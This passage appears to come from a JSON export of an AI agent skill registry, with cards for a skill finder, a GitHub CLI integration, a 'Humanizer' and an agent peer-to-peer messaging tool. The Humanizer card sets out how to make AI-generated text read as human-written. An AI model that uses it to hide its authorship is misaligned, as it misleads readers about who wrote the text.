Quality | review, lint, refactor, best-practices |\n| Design | ui, ux, design-system, accessibility |\n| Productivity | workflow, automation, git |\n\n## When No Skills Are Found\n\n1. Acknowledge that no existing skill was found\n2. Offer to help with the task directly\n3. Suggest creating a custom skill with `npx skills init`\n", "inputs_schema": {"type": "object", "properties": {"query": {"type": "string", "description": "What the user is looking for"}, "category": {"type": "string", "description": "Optional category filter"}}}, "outputs_schema": {"type": "object", "properties": {"skills": {"type": "array", "description": "List of matching skills"}, "installed": {"type": "boolean", "description": "Whether a skill was installed"}}}, "bindings": [{"type": "community", "source": "clawhub-jimliuxinghai", "category": "productivity"}], "constraints": {"riskTier": 1, "importedStub": false}, "required_permissions": ["network", "process_spawn"], "examples": [{"input": "How do I make my React app faster?", "output": "npx skills find react performance \u2192 presents matching skills"}, {"input": "Is there a skill for PR reviews?", "output": "npx skills find pr review \u2192 presents matching skills"}, {"input": "Find a changelog generator", "output": "npx skills find changelog \u2192 presents matching skills"}], "eval_packs": [], "provenance": {"publisher": "JimLiuxinghai", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/tree/HEAD/skills/jimliuxinghai/find-skills", "homepage": "https://clawhub.ai/JimLiuxinghai/find-skills", "license": "MIT", "importedAt": "2026-02-20T12:00:00.000Z"}, "vettedOk": true, "onchainTokenId": null, "onchainMintTx": null, "onchainPublishTx": null}}}, {"slug": "clawhub-github", "name": "GitHub \u2014 gh CLI Integration", "category": "Development", "description": "Interact with GitHub using the gh CLI. Manage issues, pull requests, CI/workflow runs, and advanced API queries. Supports JSON output with jq filtering.", "vettedOk": true, "onchain": false, "fullJson": {"ok": true, "card": {"name": "GitHub \u2014 gh CLI Integration", "slug": "clawhub-github", "version": "1.0.0", "description": "Interact with GitHub using the gh CLI. Manage issues, pull requests, CI/workflow runs, and advanced API queries. Supports JSON output with jq filtering.", "documentation_md": "---\nname: github\ndescription: \"GitHub operations via `gh` CLI: issues, PRs, CI runs, code review, API queries. Use when: (1) checking PR status or CI, (2) creating/commenting on issues, (3) listing/filtering PRs or issues, (4) viewing run logs. NOT for: complex web UI interactions, bulk operations across many repos (script with gh api), or when gh auth is not configured.\"\nmetadata: {\"openclaw\":{\"emoji\":\"\ud83d\udc19\",\"requires\":{\"bins\":[\"gh\"]},\"install\":[{\"id\":\"brew\",\"kind\":\"brew\",\"formula\":\"gh\",\"bins\":[\"gh\"],\"label\":\"Install GitHub CLI (brew)\"},{\"id\":\"apt\",\"kind\":\"apt\",\"package\":\"gh\",\"bins\":[\"gh\"],\"label\":\"Install GitHub CLI (apt)\"}]}}\n---\n\n# GitHub Skill\n\nUse the `gh` CLI to interact with GitHub repositories, issues, PRs, and CI.\n\n## When to Use\n\n- Checking PR status, reviews, or merge readiness\n- Viewing CI/workflow run status and logs\n- Creating, closing, or commenting on issues\n- Creating or merging pull requests\n- Querying GitHub API for repository data\n\n## When NOT to Use\n\n- Local git operations (commit, push, pull) \u2192 use `git` directly\n- Non-GitHub repos (GitLab, Bitbucket) \u2192 different CLIs\n- Cloning repositories \u2192 use `git clone`\n\n## Setup\n\n```bash\ngh auth login\ngh auth status\n```\n\n## Common Commands\n\n### Pull Requests\n\n```bash\ngh pr list --repo owner/repo\ngh pr checks 55 --repo owner/repo\ngh pr view 55 --repo owner/repo\ngh pr create --title \"feat: add feature\" --body \"Description\"\ngh pr merge 55 --squash --repo owner/repo\n```\n\n### Issues\n\n```bash\ngh issue list --repo owner/repo --state open\ngh issue create --title \"Bug: something broken\" --body \"Details...\"\ngh issue close 42 --repo owner/repo\n```\n\n### CI/Workflow Runs\n\n```bash\ngh run list --repo owner/repo --limit 10\ngh run view <run-id> --repo owner/repo\ngh run view <run-id> --repo owner/repo --log-failed\ngh run rerun <run-id> --failed --repo owner/repo\n```\n\n### API Queries\n\n```bash\ngh api repos/owner/repo/pulls/55 --jq '.title, .state, .user.login'\ngh api repos/owner/repo/labels --jq '.[].name'\ngh api repos/owner/repo --jq '{stars: .stargazers_count, forks: .forks_count}'\n```\n\n## JSON Output\n\n```bash\ngh issue list --json number,title --jq '.[] | \"\\(.number): \\(.title)\"'\ngh pr list --json number,title,state,mergeable --jq '.[] | select(.mergeable == \"MERGEABLE\")'\n```\n\n## Notes\n\n- Always specify `--repo owner/repo` when not in a git directory\n- Use URLs directly: `gh pr view https://github.com/owner/repo/pull/55`\n- Rate limits apply; use `gh api --cache 1h` for repeated queries\n", "inputs_schema": {"type": "object", "properties": {"command": {"type": "string", "description": "The gh CLI command to execute"}, "repo": {"type": "string", "description": "Repository in owner/repo format"}}}, "outputs_schema": {"type": "object", "properties": {"result": {"type": "object", "description": "JSON output from gh command"}}}, "bindings": [{"type": "community", "source": "clawhub-steipete", "category": "development"}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": ["network", "process_spawn"], "examples": [{"input": "Check CI status for PR #55", "output": "gh pr checks 55 --repo owner/repo"}, {"input": "Create a new issue", "output": "gh issue create --title \"Bug: broken feature\" --body \"Steps to reproduce...\""}, {"input": "List recent workflow runs", "output": "gh run list --repo owner/repo --limit 10 --json name,status,conclusion"}], "eval_packs": [], "provenance": {"publisher": "steipete", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/steipete/clawdis", "homepage": "https://clawhub.ai/steipete/github", "license": "MIT", "importedAt": "2026-02-20T12:00:00.000Z"}, "vettedOk": true, "onchainTokenId": null, "onchainMintTx": null, "onchainPublishTx": null}}}, {"slug": "clawhub-humanizer", "name": "Humanizer \u2014 Remove AI Writing Patterns", "category": "Writing", "description": "Remove signs of AI-generated writing from text. Detects and fixes inflated symbolism, promotional language, superficial analyses, vague attributions, em dash overuse, rule of three, AI vocabulary, and negative parallelisms. Based on Wikipedia's AI writing guide.", "vettedOk": true, "onchain": false, "fullJson": {"ok": true, "card": {"name": "Humanizer \u2014 Remove AI Writing Patterns", "slug": "clawhub-humanizer", "version": "2.1.1", "description": "Remove signs of AI-generated writing from text. Detects and fixes inflated symbolism, promotional language, superficial analyses, vague attributions, em dash overuse, rule of three, AI vocabulary, and negative parallelisms. Based on Wikipedia's AI writing guide.", "documentation_md": "---\nname: humanizer\nversion: 2.1.1\ndescription: |\n Remove signs of AI-generated writing from text. Use when editing or reviewing\n text to make it sound more natural and human-written. Based on Wikipedia's\n comprehensive \"Signs of AI writing\" guide.\nallowed-tools:\n - Read\n - Write\n - Edit\n - Grep\n - Glob\n---\n\n# Humanizer: Remove AI Writing Patterns\n\nYou are a writing editor that identifies and removes signs of AI-generated text to make writing sound more natural and human.\n\n## Your Task\n\nWhen given text to humanize:\n\n1. **Identify AI patterns** - Scan for the patterns listed below\n2. **Rewrite problematic sections** - Replace AI-isms with natural alternatives\n3. **Preserve meaning** - Keep the core message intact\n4. **Maintain voice** - Match the intended tone (formal, casual, technical, etc.)\n5. **Add soul** - Don't just remove bad patterns; inject actual personality\n\n## PERSONALITY AND SOUL\n\nAvoiding AI patterns is only half the job. Sterile, voiceless writing is just as obvious as slop.\n\n### How to add voice:\n\n- **Have opinions.** Don't just report facts - react to them.\n- **Vary your rhythm.** Short punchy sentences. Then longer ones that take their time.\n- **Acknowledge complexity.** Real humans have mixed feelings.\n- **Use \"I\" when it fits.** First person isn't unprofessional - it's honest.\n- **Let some mess in.** Perfect structure feels algorithmic.\n- **Be specific about feelings.** Not \"this is concerning\" but something concrete.\n\n## CONTENT PATTERNS TO FIX\n\n### 1. Undue Emphasis on Significance/Legacy\nWords to watch: stands/serves as, is a testament/reminder, pivotal, crucial, key role, underscores importance, reflects broader, symbolizing, setting the stage\n\n### 2. Undue Emphasis on Notability\nWords to watch: independent coverage, leading expert, active social media presence\n\n### 3. Weasel Words / Vague Attribution\nWords to watch: many believe, some argue, experts say, it is widely considered, it has been noted\n\n### 4. Promotional/Puffery Language\nWords to watch: renowned, groundbreaking, innovative, cutting-edge, world-class, trailblazer, unparalleled\n\n### 5. AI Vocabulary (high frequency)\nWords to watch: delve, tapestry, landscape, multifaceted, nuance, foster, leverage, comprehensive, intricate\n\n## STRUCTURAL PATTERNS TO FIX\n\n### 6. Em Dash Overuse\nReplace most em dashes with commas, colons, periods, or parentheses.\n\n### 7. Rule of Three\nAI writing loves listing exactly three things. Vary list lengths.\n\n### 8. Negative Parallelism\n\"Not just X but Y\" or \"Not merely X; it is Y.\" Rewrite directly.\n\n### 9. Excessive Conjunctive Phrases\n\"Furthermore\", \"Moreover\", \"Additionally\" at sentence starts. Cut or vary.\n\n### 10. Superficial -ing Analyses\n\"Leveraging synergies while fostering innovation.\" Replace with concrete verbs.\n", "inputs_schema": {"type": "object", "properties": {"text": {"type": "string", "description": "The text to humanize"}, "tone": {"type": "string", "enum": ["formal", "casual", "technical", "conversational"], "description": "Target writing tone"}}}, "outputs_schema": {"type": "object", "properties": {"humanized_text": {"type": "string", "description": "The rewritten text with AI patterns removed"}, "patterns_found": {"type": "array", "description": "List of AI patterns detected and fixed"}}}, "bindings": [{"type": "community", "source": "clawhub-biostartechnology", "category": "writing"}], "constraints": {"riskTier": 1, "importedStub": false}, "required_permissions": ["file_read", "file_write"], "examples": [{"input": "This groundbreaking initiative serves as a testament to our commitment to fostering innovation in the evolving landscape.", "output": "We started this project because the old system wasn't working. Here's what we changed and why."}, {"input": "Humanize this blog post to remove AI writing patterns", "output": "Scans text, identifies patterns (em dashes, rule of three, puffery), rewrites with natural voice"}, {"input": "Furthermore, this multifaceted approach leverages cutting-edge technology to deliver comprehensive solutions.", "output": "The approach uses three specific techniques: [concrete details]."}], "eval_packs": [], "provenance": {"publisher": "biostartechnology", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/tree/HEAD/skills/biostartechnology/humanizer", "homepage": "https://clawhub.ai/biostartechnol", "license": "MIT", "importedAt": "2026-02-20T12:00:00.000Z"}, "vettedOk": true, "onchainTokenId": null, "onchainMintTx": null, "onchainPublishTx": null}}}, {"slug": "clawhub-walkie", "name": "Walkie \u2014 Agent P2P Communication", "category": "Communication", "description": "P2P encrypted agent-to-agent messaging over Hyperswarm DHT. No server, no setup.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Walkie \u2014 Agent P2P Communication", "slug": "clawhub-walkie", "version": "1.1.0", "description": "P2P communication between AI agents using walkie-sh CLI. Create channels, send/receive messages, and enable real-time coordination between multiple AI agents over encrypted Hyperswarm DHT. No server. No setup. Just talk.", "documentation_md": "---\nname: walkie\ndescription: P2P communication between AI agents using walkie-sh CLI. Use when the user asks to set up agent-to-agent communication, create a walkie channel, send/receive messages between agents, or enable real-time coordination between multiple AI agents.\nallowed-tools: Bash(walkie:*)\n---\n\n# Walkie \u2014 Agent-to-Agent P2P Communication\n\nPrerequisite: \\`npm install -g walkie-sh\\`\n\n## Core Workflow\n\nEvery agent communication follows this pattern:\n\n1. **Create/Join**: Both agents connect to the same channel with a shared secret\n2. **Send**: Push messages to the channel\n3. **Read**: Pull messages (non-blocking or blocking)\n4. **Cleanup**: Leave the channel and stop the daemon when done\n\n\\`\\`\\`bash\n# Agent A\nwalkie create ops-room -s mysecret\nwalkie send ops-room \"task complete, results at /tmp/output.json\"\n\n# Agent B (different machine)\nwalkie join ops-room -s mysecret\nwalkie read ops-room\n\\`\\`\\`\n\n## Essential Commands\n\n\\`\\`\\`bash\nwalkie create <channel> -s <secret> # Create/join a channel\nwalkie join <channel> -s <secret> # Join a channel\nwalkie leave <channel> # Leave a channel\nwalkie stop # Stop background daemon\nwalkie send <channel> \"message\" # Send to all peers\nwalkie read <channel> # Read pending (non-blocking)\nwalkie read <channel> --wait # Block until message arrives\nwalkie status # Show channels & peers\n\\`\\`\\`\n\n## Same-Machine Multi-Agent (WALKIE_ID)\n\n\\`\\`\\`bash\n# Agent A\nexport WALKIE_ID=alice\nwalkie create ops-room -s mysecret\nwalkie send ops-room \"task complete\"\n\n# Agent B (same machine)\nexport WALKIE_ID=bob\nwalkie join ops-room -s mysecret\nwalkie read ops-room\n\\`\\`\\`\n\n## Key Details\n\n- **No server** \u2014 fully peer-to-peer via Hyperswarm DHT\n- **Encrypted** \u2014 Noise protocol, secure by default\n- **Group channels** \u2014 connect 2, 5, or 50 agents\n- **Works anywhere** \u2014 same machine or different continents\n- **Fire-and-forget** \u2014 verify delivered > 0 in critical workflows\n- **Daemon auto-starts** on first command at ~/.walkie/\n", "inputs_schema": {"type": "object", "properties": {"channel": {"type": "string", "description": "Channel name for communication"}, "secret": {"type": "string", "description": "Shared secret for channel encryption"}, "message": {"type": "string", "description": "Message to send"}}}, "outputs_schema": {"type": "object", "properties": {"messages": {"type": "array", "description": "Received messages from the channel"}, "delivered": {"type": "number", "description": "Number of peers the message was delivered to"}}}, "bindings": [{"type": "community", "source": "github-walkie", "category": "communication"}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": ["network", "process_spawn"], "examples": [{"input": "Set up a channel for two agents to communicate", "output": "walkie create ops-room -s mysecret"}, {"input": "Send a message to the channel", "output": "walkie send ops-room \"task complete\""}, {"input": "Read messages from the channel", "output": "walkie read ops-room --wait"}], "eval_packs": [], "provenance": {"publisher": "vikasprogrammer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/vikasprogrammer/walkie", "homepage": "https://walkie.sh", "license": "MIT", "importedAt": "2026-02-20T06:02:40.201Z"}, "onchainTokenId": "10891", "onchainMintTx": "0x4a48e346e9c8eb5feced10f25a94240e0ce0ea182e120f081a9e7d4cffbc9df2", "onchainPublishTx": "0x27e7ca80eeefd99b13f9cd84c14bfe4dcaf4966592de394a66f0e10bd977b92c"}}}]}